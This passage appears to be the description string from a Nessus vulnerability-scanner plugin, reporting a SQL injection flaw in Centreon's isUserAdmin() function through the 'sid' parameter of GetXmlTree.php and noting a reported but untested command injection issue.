"The Centreon application running on the remote host is affected by a
SQL injection (SQLi) vulnerability in the isUserAdmin() function due
to improper sanitization of user-supplied input to the 'sid' parameter
of the GetXmlTree.php script. An unauthenticated, remote attacker can
exploit this issue, via a specially crafted request, to execute
arbitrary SQL statements against the back-end database, resulting in
the disclosure or manipulation of arbitrary data.

Note that the application is also reportedly affected by a remote
command injection vulnerability; however, Nessus has not tested for
this issue.");
